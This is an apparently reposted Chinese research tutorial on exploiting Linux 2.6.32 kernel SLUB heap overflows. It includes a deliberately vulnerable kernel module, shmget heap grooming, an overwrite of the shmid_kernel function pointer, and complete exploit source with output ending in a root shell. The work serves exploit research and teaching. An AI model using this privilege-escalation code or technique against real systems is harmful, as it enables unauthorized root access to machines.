514
技術社區[雲棲]
Linux內核slub溢出攻擊技術
作者:王智通
前言
最近幾年關於kernel exploit的研究比較熱門, 常見的內核提權漏洞大致可以分為幾類:空指針引用,內核堆棧溢出,內核slab溢出,內核任意地址可寫等等。空指針引用漏洞比較容易exploit, 典型的例子如sock_sendpage,udp_sendmsg。 但是新內核的安全模塊已經不在允許userspace的code映射低內存了, 所以NULL pointer dereference曾經一度隻能dos, 不能提權。 但是CVE-2010-4258這個內核任意地址可寫漏洞, 可以將null pointer dereference的dos轉化為提權。 內核堆棧溢出相對userspace下的堆棧溢出比較好exploit。這裏最難exploit的是kernel的slab溢出。 關於slab的溢出在05年的時候,UNF的qobaiashi就寫過paper來闡述slab的exploit方法。此後關於slab的溢出研究在都集中在2.4內核上, 2.6下的slab溢出一直沒看到有相關的paper共享出來。在kernel 2.6.22的時候, kernel為了改善slab的性能, 引入了slub的設計。針對slub溢出的paper一直沒有被共享直到Jon Oberheide發布了一個針對CAN協議的slub溢出的exploit, 這個應該是第一個公開的在2.6kernel上利用slab溢出的exploit,在ubuntu-10.04 2.6.32的kernel上運行成功。Jon Oberheide在他的blog上也有篇關於分析slub溢出的paper, 但是這個exploit由於利用了CAN代碼上的一些優勢, 並沒有把slub溢出的精髓體現出來。在深入研究了這個exploit的基礎上, 在加上我調試2.4內核slab溢出的經驗, 研究了一下slub的溢出技術, 在centos 5.2 + 2.6.32環境測試成功。
示例代碼
為了便於調試,我自己寫了一個LKM模塊, 給內核新增了一個係統調用, 用戶可以通過api接口來調用。
#define BUFFER_SIZE 80
asmlinkage long kmalloc_overflow_test(char *addr, int size)
{
char *buff = NULL;
buff = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!buff) {
printk("kmalloc failed.\n");
return -1;
}
printk("[+] Got object at 0x%p\n", buff);
if (copy_from_user(buff, addr, size)) {
printk("copy_from_user failed.\n");
kfree(buff);
return -1;
}
printk("%s\n", buff);
return 0;
}
這段代碼用kmalloc分配了80字節的空間, 但沒有檢查size的大小, 用戶傳遞一個大於80的size值將會產生內核堆溢出。
SLUB結構
slub大大簡化了slab的數據結構,如從kmem_cache的3個關於slab的隊列中去掉了完全滿的隊列。每個slab的開始也沒有了slab管理結構和管理空obj的kmem_bufctl_t數組。一個采用slub管理的slab結構如下: 一個slab的結構:
+-------------------------------------------+ | obj | obj | obj | ... |obj| +-------------------------------------------+
根據上麵的代碼片段, 在一個obj溢出後, 髒數據會直接覆蓋後麵相鄰的那個obj:
|first|second| +-------------------------------------------+ | obj | obj | obj | ... |obj| +-------------------------------------------+ |-----overflow--->|
一個slab的結構: 當有內核代碼訪問了被溢出的obj中的數據結構後, 就會產生oops。
SLUB溢出方法
內核提權的最終目的就是觸發某個kernel bug,然後控製內核路徑到userspace事先布置好的shellcode上。 因此我們的大方向是在second obj中如果有一個函數指針能被髒數據覆蓋為userspace下的shellcode, 並且用戶又能調用這個函數指針,那麼將會完成權限提升的任務。還有一個要處理的問題就是如何保證在有bug的代碼中用kmalloc分配的obj和我們想要覆蓋的函數指針所在的obj是相鄰的。 因為隻能兩者相鄰, 才能用溢出的數據覆蓋函數指針。我們先假設已經在kernel中找到了一個數據結構,正好滿足了上麵的需求, 現在隻要保證兩個obj是相鄰的, 就能完成指針覆蓋。我們知道slab的一個特性是當一個cache中的所有slab結構中的obj都用完的時候, 內核將會重新分配一個slab, 新分配的slab中的obj彼此都是相鄰的:
Kmalloc()->kmalloc()->do_kmalloc()->cache_alloc()->cache_alloc()->cache_alloc_refill ()->cache_grow()->cache_init_objs()
static void cache_init_objs(struct kmem_cache *cachep,
struct slab *slabp, unsigned long ctor_flags)
{
for (i = 0; i < cachep->num; i++) {
void *objp = index_to_obj(cachep, slabp, i);
slab_bufctl(slabp)[i] = i + 1;
}
slab_bufctl(slabp)[i - 1] = BUFCTL_END;
slabp->free = 0;
}
前麵在 slab 的結構中提到有個 kmem_bufctl_t 數組, 裏麵的每個元素指向下一個空閑 obj的索引。 在初始化一個新的slab時, 每個 kmem_bufctl_t元素都順序的指向了與它相鄰的下一個 obj, 所以當內核重新分配一個slab結構時, 我們從這個新的slab中分配的obj都是相鄰的。那麼SLUB是不是也滿足這個特性呢? 在仔細讀過slub的代碼後, 發現它也滿足這個特性:
kmalloc()->slab_alloc()->slab_alloc()->new_slab():
static struct page *new_slab(struct kmem_cache *s, gfp_t flags, int node)
{
last = start;
for_each_object(p, s, start, page->objects) {
setup_object(s, page, last);
set_freepointer(s, last, p);
last = p;
}
setup_object(s, page, last);
set_freepointer(s, last, NULL);
}
#define for_each_object(__p, __s, __addr, __objects) \
for (__p = (__addr); __p < (__addr) + (__objects) * (__s)->size;\
__p += (__s)->size)
這段代碼遍曆一個page中的所有obj進行初始化:
static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
{
*(void **)(object + s->offset) = fp;
}
s->offset保存的是一個slab中下一個空閑的obj偏移, set_freepointer函數將一個obj的下一個空閑指針指向了下一個obj。 所以slub也滿足這個特性。
現在我們隻要在用戶空間找到一種方法來不斷消耗slab, 當現有的slab用完的時候, 新分配的slab中的obj就是連續相鄰的。如何消耗slab,我們仍然可以用shmget係統調用來處理, 並且它用到的struct shmid_kernel結構中, 就有我們想覆蓋的函數指針!
ipc/shm.c: sys_shmget->ipcget->ipcget_new->newseg:
static int newseg(struct ipc_namespace *ns, struct ipc_params *params)
{
struct shmid_kernel *shp;
shp = ipc_rcu_alloc(sizeof(*shp));
shp->shm_file = file;
}
void* ipc_rcu_alloc(int size)
{
out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL);
}
因此隻要在用戶空間不斷調用shmget就會在內核中不斷消耗大小為96的slab。示例中的代碼分配的是80個字節,它將會在96大小的slab中分配,這裏還有一點需要注意:
out = kmalloc(HDRLEN_KMALLOC + size, GFP_KERNEL);
用shmget分配的obj前段都有一個8個字節的站位空間,因此用shmget分配的shmid_kernel結構將會如下:
| ------ 96 --------------------| ---------------96 ------------| +---------------------------------------------------------------+ | HDRLEN_KMALLOC | shmid_kernel | HDRLEN_KMALLOC | shmid_kernel | +---------------------------------------------------------------+
在以後覆蓋的時候需要跳過HDRLEN_KMALLOC個字節。
內核中關於slab的信息, 可以在/proc/slabinfo得到:
[wzt@localhost exp]$ cat /proc/slabinfo |grep kmalloc-96 kmalloc-96 922 924 96 42 1 : tunables 0 0 0 : slabdata 22 22 0
922為當前活躍的obj數目, 924是所有slab中obj的數目, 因此我們在用戶空間中可以解析這個文件來得到當前係統中剩餘的obj數目:
int check_slab(char *slab_name, int *active, int *total)
{
FILE *fp;
char buff[1024], name[64];
int active_num, total_num;
fp = fopen("/proc/slabinfo", "r");
if (!fp) {
perror("fopen");
return -1;
}
while (fgets(buff, 1024, fp) != NULL) {
sscanf(buff, "%s %u %u", name, &active_num, &total_num);
if (!strcmp(slab_name, name)) {
*active = active_num;
*total = total_num;
return total_num - active_num;
}
}
return -1;
}
現在寫一段code來不斷調用shmget,看看新分配的obj是不是連續的, 為了調試方便, 我修改了sys_shmget的代碼,加入了printk用於打印kmalloc後的地址。 trigger程序的代碼片段如下:
trigger.c:
...
shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));
fprintf(stdout, "[+] smashing free slab ...\n");
for (i = 0; i < free_num + SLAB_NUM; i++) {
if (!check_slab(SLAB_NAME, &active_num, &total_num))
break;
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
base = i;
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);
fprintf(stdout, "[+] smashing adjacent slab ...\n");
i = base;
for (; i < base + SLAB_NUM; i++) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);
...
[wzt@localhost exp]$ ./exp [+] mmaping kernel code at 0x41414141 ok. [+] looking for symbols... [+] found commit_creds addr at 0xc0446524. [+] found prepare_kernel_cred addr at 0xc0446710. [+] setting up exploit payload... [+] checking slab total: 840 active: 836 free: 4 [+] smashing free slab ... [+] smashing 17 total: 840 active: 840 free: 0 [+] smashing adjacent slab ... [+] smashing 117 total: 966 active: 966 free: 0
可以看到dmesg後的信息, 新的obj都是連續的。
[wzt@localhost exp]$ dmesg|tail -n 10 [+] kmalloc at 0xdf1ea120 [+] kmalloc at 0xdf1ea180 [+] kmalloc at 0xdf1ea1e0 [+] kmalloc at 0xdf1ea240 [+] kmalloc at 0xdf1ea2a0 [+] kmalloc at 0xdf1ea300 [+] kmalloc at 0xdf1ea360 [+] kmalloc at 0xdf1ea3c0 [+] kmalloc at 0xdf1ea420 [+] kmalloc at 0xdf1ea480
ok, 我們已經能獲得一個連續的obj了, 現在要利用slub的另一個特性: FIFO, 先在這些連續的obj中選取一個obj釋放掉,然後馬上觸發有bug的代碼,那麼有bug的代碼調用kmalloc分配的obj地址就是剛才釋放掉的那個obj, 當溢出發生後, 髒數據將會覆蓋它相鄰的下一個obj。 可以用如下代碼來觸發:
trigger.c:
...
free_idx = i - 4;
fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
perror("shmctl");
}
fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);
memset(buff, 0x41, sizeof(buff));
kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));
...
在這裏我們將倒數第4個obj釋放掉, 執行後dmesg可以看到:
[+] kmalloc at 0xd3decc00 [+] kmalloc at 0xd3decc60 [+] kmalloc at 0xd3deccc0 [+] kmalloc at 0xd3decd20 [+] kmalloc at 0xd3decd80 [-] kfree at 0xd3decc60 ............................... [+] Got object at 0xd3decc60 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
shmctl釋放掉了0xd3decc60地址後, 有bug的kmalloc分配的地址也是0xd3decc60。
[wzt@localhost exp]$ tail /proc/sysvipc/shm
0 8192250 0 1024 3148 0 0 500 500 500 500 0 0 1293098372
1094795585 1094795585 0 500 134522884 0 500 1094795585 1094795585 0 0 4294967295 252 0
1094795585 1094795585 0 1024 3148 0 0 500 500 500 500 0 0 1293098372
0 8323326 0 1024 3148 0 0 500 500 500 500 0 0 1293098372
可以看到與0xd3decc60相鄰的下一個obj地址0xd3deccc0中的shmid_kernel結構已經被覆蓋了。
現在我們可以來覆蓋一個函數指針了, 在shmid_kernel中正好有滿足我們需要的函數指針!
kernel中處理ipc共享內存的一個數據結構struct shmid_kernel:
struct shmid_kernel /* private to the kernel */
{
struct kern_ipc_perm shm_perm;
struct file * shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
pid_t shm_cprid;
pid_t shm_lprid;
struct user_struct *mlock_user;
};
struct shmid_kernel {
.shm_file = struct file {
.f_op = struct file_operations = {
.mmap = ATTACKER_ADDRESS
}
}
}
可以用shmat的係統調用來觸發:
sys_shmat()->do_shmat():
long do_shmat(int shmid, char __user *shmaddr, int shmflg, ulong *raddr)
{
user_addr = do_mmap(file, addr, size, prot, flags, 0);
}
do_mmap將被覆蓋為shellcode地址。
ok, 現在可以寫一個完整的exp了, 試試先:
[wzt@localhost exp]$ ./exp
執行後係統掛掉了, 看下dmesg信息:
[+] kmalloc at 0xd31752a0 [+] kmalloc at 0xd3175300 [+] kmalloc at 0xd3175360 [+] kmalloc at 0xd31753c0 [+] kmalloc at 0xd3175420 [+] kmalloc at 0xd3175480 [+] kmalloc at 0xd31754e0 [-] kfree at 0xd31753c0 ............................... [+] Got object at 0xd31753c0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BUG: unable to handle kernel NULL pointer dereference at (null) IP: [<c04fc352>] ipc_has_perm+0x46/0x61 *pde = 00000000 Oops: 0000 [#1] SMP last sysfs file: /sys/devices/pci0000:00/0000:00:05.0/local_cpus Modules linked in: sys ipv6 autofs4 sunrpc ip_tables ip6_tables x_tables dm_multipath video output sbs sbshc battery ac parport_pc lp parport snd_intel8x0 snd_ac97_codec ac97_bus snd_seq_dummy snd_seq_oss snd_seq_midi_event snd_seq snd_seq_device snd_pcm_oss snd_mixer_oss ide_cd_mod button cdrom snd_pcm rtc_cmos serio_raw rtc_core rtc_lib snd_timer 8139too floppy snd 8139cp soundcore i2c_piix4 mii snd_page_alloc i2c_core pcspkr dm_snapshot dm_zero dm_mirror dm_region_hash dm_log dm_mod ata_piix libata sd_mod scsi_mod ext3 jbd uhci_hcd ohci_hcd ehci_hcd [last unloaded: microcode] Pid: 3190, comm: exp Not tainted (2.6.32 #2) Bochs EIP: 0060:[<c04fc352>] EFLAGS: 00010246 CPU: 1 EIP is at ipc_has_perm+0x46/0x61 EAX: 00000000 EBX: 00000000 ECX: 00000000 EDX: d3175428 ESI: 000001f0 EDI: d33ebf30 EBP: 00000080 ESP: d33ebec8 DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068 Process exp (pid: 3190, ti=d33eb000 task=dbe6ea30 task.ti=d33eb000) Stack: d3175428 d33ebed0 00000004 00000000 00000000 00000000 00000000 00000000 <0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 <0> 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 Call Trace: [<c04f9cf3>] ? security_ipc_permission+0xf/0x10 [<c04f22e4>] ? do_shmat+0xdc/0x349 [<c04057da>] ? sys_ipc+0xff/0x162 [<c0402865>] ? syscall_call+0x7/0xb Code: 8c e4 82 c0 8b 92 d8 02 00 00 89 c7 8b 52 58 8b 72 04 31 d2 89 44 24 04 89 d0 f3 ab 8b 14 24 c6 44 24 08 04 8b 42 0c 89 44 24 10 <0f> b7 0b 8d 44 24 08 8b 53 04 50 89 f0 55 e8 75 fb ff ff 83 c4 EIP: [<c04fc352>] ipc_has_perm+0x46/0x61 SS:ESP 0068:d33ebec8 CR2: 0000000000000000 ---[ end trace 7bbab7e881899412 ]--- [wzt@localhost exp]$
看上去像selinux的問題, 將它關閉掉在試試:
[wzt@localhost exp]$ ./exp [+] mmaping kernel code at 0x41414141 ok. [+] looking for symbols... [+] found commit_creds addr at 0xc0446524. [+] found prepare_kernel_cred addr at 0xc0446710. [+] setting up exploit payload... [+] checking slab total: 798 active: 791 free: 7 [+] smashing free slab ... [+] smashing 5 total: 798 active: 798 free: 0 [+] smashing adjacent slab ... [+] smashing 105 total: 924 active: 924 free: 0 [+] free exist shmid with idx: 101 [+] trigger kmalloc overflow in kmalloc-96 [+] shmid_kernel size: 80 [+] kern_ipc_perm size: 44 [+] shmid: 3309669 [+] launching root shell! [root@localhost exp]# uname -a Linux localhost.localdomain 2.6.32 #2 SMP Thu Dec 23 14:59:36 CST 2010 i686 i686 i386 GNU/Linux [root@localhost exp]#
成功了, 終於得到可愛的root了!
源碼
exp.c
/*
* linux kernel slub overflow test exploit
*
* by wzt <wzt.wzt@gmail.com>
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include "syscalls.h"
#define __NR_kmalloc_overflow_test 59
#define KALLSYMS_NAME "/proc/kallsyms"
#define SLAB_NAME "kmalloc-96"
#define SLAB_SIZE 96
#define SLAB_NUM 100
#define IPCMNI 32768
#define EIDRM 43
#define HDRLEN_KMALLOC 8
struct list_head {
struct list_head *next;
struct list_head *prev;
};
struct super_block {
struct list_head s_list;
unsigned int s_dev;
unsigned long s_blocksize;
unsigned char s_blocksize_bits;
unsigned char s_dirt;
uint64_t s_maxbytes;
void *s_type;
void *s_op;
void *dq_op;
void *s_qcop;
void *s_export_op;
unsigned long s_flags;
}super_block;
struct mutex {
unsigned int count;
unsigned int wait_lock;
struct list_head wait_list;
void *owner;
};
struct inode {
struct list_head i_hash;
struct list_head i_list;
struct list_head i_sb_list;
struct list_head i_dentry_list;
unsigned long i_ino;
unsigned int i_count;
unsigned int i_nlink;
unsigned int i_uid;
unsigned int i_gid;
unsigned int i_rdev;
uint64_t i_version;
uint64_t i_size;
unsigned int i_size_seqcount;
long i_atime_tv_sec;
long i_atime_tv_nsec;
long i_mtime_tv_sec;
long i_mtime_tv_nsec;
long i_ctime_tv_sec;
long i_ctime_tv_nsec;
uint64_t i_blocks;
unsigned int i_blkbits;
unsigned short i_bytes;
unsigned short i_mode;
unsigned int i_lock;
struct mutex i_mutex;
unsigned int i_alloc_sem_activity;
unsigned int i_alloc_sem_wait_lock;
struct list_head i_alloc_sem_wait_list;
void *i_op;
void *i_fop;
struct super_block *i_sb;
void *i_flock;
void *i_mapping;
char i_data[84];
void *i_dquot_1;
void *i_dquot_2;
struct list_head i_devices;
void *i_pipe_union;
unsigned int i_generation;
unsigned int i_fsnotify_mask;
void *i_fsnotify_mark_entries;
struct list_head inotify_watches;
struct mutex inotify_mutex;
}inode;
struct dentry {
unsigned int d_count;
unsigned int d_flags;
unsigned int d_lock;
int d_mounted;
void *d_inode;
struct list_head d_hash;
void *d_parent;
}dentry;
struct file_operations {
void *owner;
void *llseek;
void *read;
void *write;
void *aio_read;
void *aio_write;
void *readdir;
void *poll;
void *ioctl;
void *unlocked_ioctl;
void *compat_ioctl;
void *mmap;
void *open;
void *flush;
void *release;
void *fsync;
void *aio_fsync;
void *fasync;
void *lock;
void *sendpage;
void *get_unmapped_area;
void *check_flags;
void *flock;
void *splice_write;
void *splice_read;
void *setlease;
}op;
struct vfsmount {
struct list_head mnt_hash;
void *mnt_parent;
void *mnt_mountpoint;
void *mnt_root;
void *mnt_sb;
struct list_head mnt_mounts;
struct list_head mnt_child;
int mnt_flags;
const char *mnt_devname;
struct list_head mnt_list;
struct list_head mnt_expire;
struct list_head mnt_share;
struct list_head mnt_slave_list;
struct list_head mnt_slave;
struct vfsmount *mnt_master;
struct mnt_namespace *mnt_ns;
int mnt_id;
int mnt_group_id;
int mnt_count;
}vfsmount;
struct file {
struct list_head fu_list;
struct vfsmount *f_vfsmnt;
struct dentry *f_dentry;
void *f_op;
unsigned int f_lock;
unsigned long f_count;
}file;
struct kern_ipc_perm {
unsigned int lock;
int deleted;
int id;
unsigned int key;
unsigned int uid;
unsigned int gid;
unsigned int cuid;
unsigned int cgid;
unsigned int mode;
unsigned int seq;
void *security;
};
struct shmid_kernel {
struct kern_ipc_perm shm_perm;
struct file *shm_file;
unsigned long shm_nattch;
unsigned long shm_segsz;
time_t shm_atim;
time_t shm_dtim;
time_t shm_ctim;
unsigned int shm_cprid;
unsigned int shm_lprid;
void *mlock_user;
}shmid_kernel;
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
static inline my_syscall2(long, kmalloc_overflow_test, char *, addr, int, size);
int __attribute__((regparm(3)))
kernel_code(struct file *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
FILE *s_fp;
char buff[200];
char *p = NULL, *p1 = NULL;
unsigned long addr = 0;
s_fp = fopen(file_name, "r");
if (s_fp == NULL) {
printf("open %s failed.\n", file_name);
return 0;
}
while (fgets(buff, 200, s_fp) != NULL) {
if (strstr(buff, symbol_name) != NULL) {
buff[strlen(buff) - 1] = '\0';
p = strchr(strchr(buff, ' ') + 1, ' ');
++p;
if (!p) {
return 0;
}
if (!strcmp(p, symbol_name)) {
p1 = strchr(buff, ' ');
*p1 = '\0';
sscanf(buff, "%lx", &addr);
//addr = strtoul(buff, NULL, 16);
printf("[+] found %s addr at 0x%x.\n",
symbol_name, addr);
break;
}
}
}
fclose(s_fp);
return addr;
}
int check_slab(char *slab_name, int *active, int *total)
{
FILE *fp;
char buff[1024], name[64];
int active_num, total_num;
fp = fopen("/proc/slabinfo", "r");
if (!fp) {
perror("fopen");
return -1;
}
while (fgets(buff, 1024, fp) != NULL) {
sscanf(buff, "%s %u %u", name, &active_num, &total_num);
if (!strcmp(slab_name, name)) {
*active = active_num;
*total = total_num;
return total_num - active_num;
}
}
return -1;
}
void clear_old_shm(void)
{
char *cmd = "for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; "
"do ipcrm -m $shmid > /dev/null 2>&1; done;";
system(cmd);
}
void mmap_init(void)
{
void *payload;
payload = mmap((void *)(0x41414141 & ~0xfff), 2 * 4096,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if ((long)payload == -1) {
printf("[*] Failed to mmap() at target address.\n");
return ;
}
printf("[+] mmaping kernel code at 0x41414141 ok.\n");
memcpy((void *)0x41414141, &kernel_code, 1024);
}
void setup(void)
{
printf("[+] looking for symbols...\n");
commit_creds = (_commit_creds)
find_symbol_by_proc(KALLSYMS_NAME, "commit_creds");
if (!commit_creds) {
printf("[-] not found commit_creds addr.\n");
return ;
}
prepare_kernel_cred =
(_prepare_kernel_cred)find_symbol_by_proc(KALLSYMS_NAME,
"prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("[-] not found prepare_kernel_cred addr.\n");
return ;
}
printf("[+] setting up exploit payload...\n");
super_block.s_flags = 0;
inode.i_size = 4096;
inode.i_sb = &super_block;
inode.inotify_watches.next = &inode.inotify_watches;
inode.inotify_watches.prev = &inode.inotify_watches;
inode.inotify_mutex.count = 1;
dentry.d_count = 4096;
dentry.d_flags = 4096;
dentry.d_parent = NULL;
dentry.d_inode = &inode;
op.mmap = &kernel_code;
op.get_unmapped_area = &kernel_code;
vfsmount.mnt_flags = 0;
vfsmount.mnt_count = 1;
file.fu_list.prev = &file.fu_list;
file.fu_list.next = &file.fu_list;
file.f_dentry = &dentry;
file.f_vfsmnt = &vfsmount;
file.f_op = &op;
shmid_kernel.shm_perm.key = IPC_PRIVATE;
shmid_kernel.shm_perm.uid = 501;
shmid_kernel.shm_perm.gid = 501;
shmid_kernel.shm_perm.cuid = getuid();
shmid_kernel.shm_perm.cgid = getgid();
shmid_kernel.shm_perm.mode = -1;
shmid_kernel.shm_file = &file;
}
int trigger(void)
{
int *shmids;
int total_num, active_num, free_num;
int base, free_idx, i;
int ret;
char buff[1024];
clear_old_shm();
free_num = check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] checking slab total: %d active: %d free: %d\n",
total_num, active_num, total_num - active_num);
shmids = malloc(sizeof(int) * (free_num + SLAB_NUM * 3));
fprintf(stdout, "[+] smashing free slab ...\n");
for (i = 0; i < free_num + SLAB_NUM; i++) {
if (!check_slab(SLAB_NAME, &active_num, &total_num))
break;
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
base = i;
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);
fprintf(stdout, "[+] smashing adjacent slab ...\n");
i = base;
for (; i < base + SLAB_NUM; i++) {
shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);
if (shmids[i] < 0) {
perror("shmget");
return -1;
}
}
check_slab(SLAB_NAME, &active_num, &total_num);
fprintf(stdout, "[+] smashing %d total: %d active: %d free: %d\n",
i, total_num, active_num, total_num - active_num);
//free_idx = base + SLAB_NUM - 4;
free_idx = i - 4;
fprintf(stdout, "[+] free exist shmid with idx: %d\n", free_idx);
if (shmctl(shmids[free_idx], IPC_RMID, NULL) == -1) {
perror("shmctl");
}
sleep(1);
fprintf(stdout, "[+] trigger kmalloc overflow in %s\n", SLAB_NAME);
memset(buff, 0x41, sizeof(buff));
shmid_kernel.shm_perm.seq = shmids[free_idx + 1] / IPCMNI;
memcpy(&buff[SLAB_SIZE + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));
//memcpy(&buff[SLAB_SIZE], &shmid_kernel, sizeof(shmid_kernel));
printf("[+] shmid_kernel size: %d\n", sizeof(shmid_kernel));
printf("[+] kern_ipc_perm size: %d\n", sizeof(struct kern_ipc_perm));
printf("[+] shmid: %d\n", shmids[free_idx]);
kmalloc_overflow_test(buff, SLAB_SIZE + HDRLEN_KMALLOC + sizeof(shmid_kernel));
ret = (int)shmat(shmids[free_idx + 1], NULL, SHM_RDONLY);
if (ret == -1 && errno != EIDRM) {
setresuid(0, 0, 0);
setresgid(0, 0, 0);
printf("[+] launching root shell!\n");
execl("/bin/bash", "/bin/bash", NULL);
exit(0);
}
return 0;
}
int main(void)
{
mmap_init();
setup();
trigger();
}
參考
- 1、 Jon Oberheide – Linux Kernel CAN SLUB Overflow
- 2、 grip2 – Linux 內核溢出研究係列(2) – kmalloc 溢出技術
- 3、 qobaiashi – the sotry of exploiting kmalloc() overflows
- 4、 Ramon de Carvalho Valle – Linux Slab Allocator Bu_er Overow Vulnerabilities
- 5、 wzt – How to Exploit Linux Kernel NULL Pointer Dereference
- 6、 wzt – Linux kernel stack and heap exploitation
最後更新:2017-04-03 07:57:06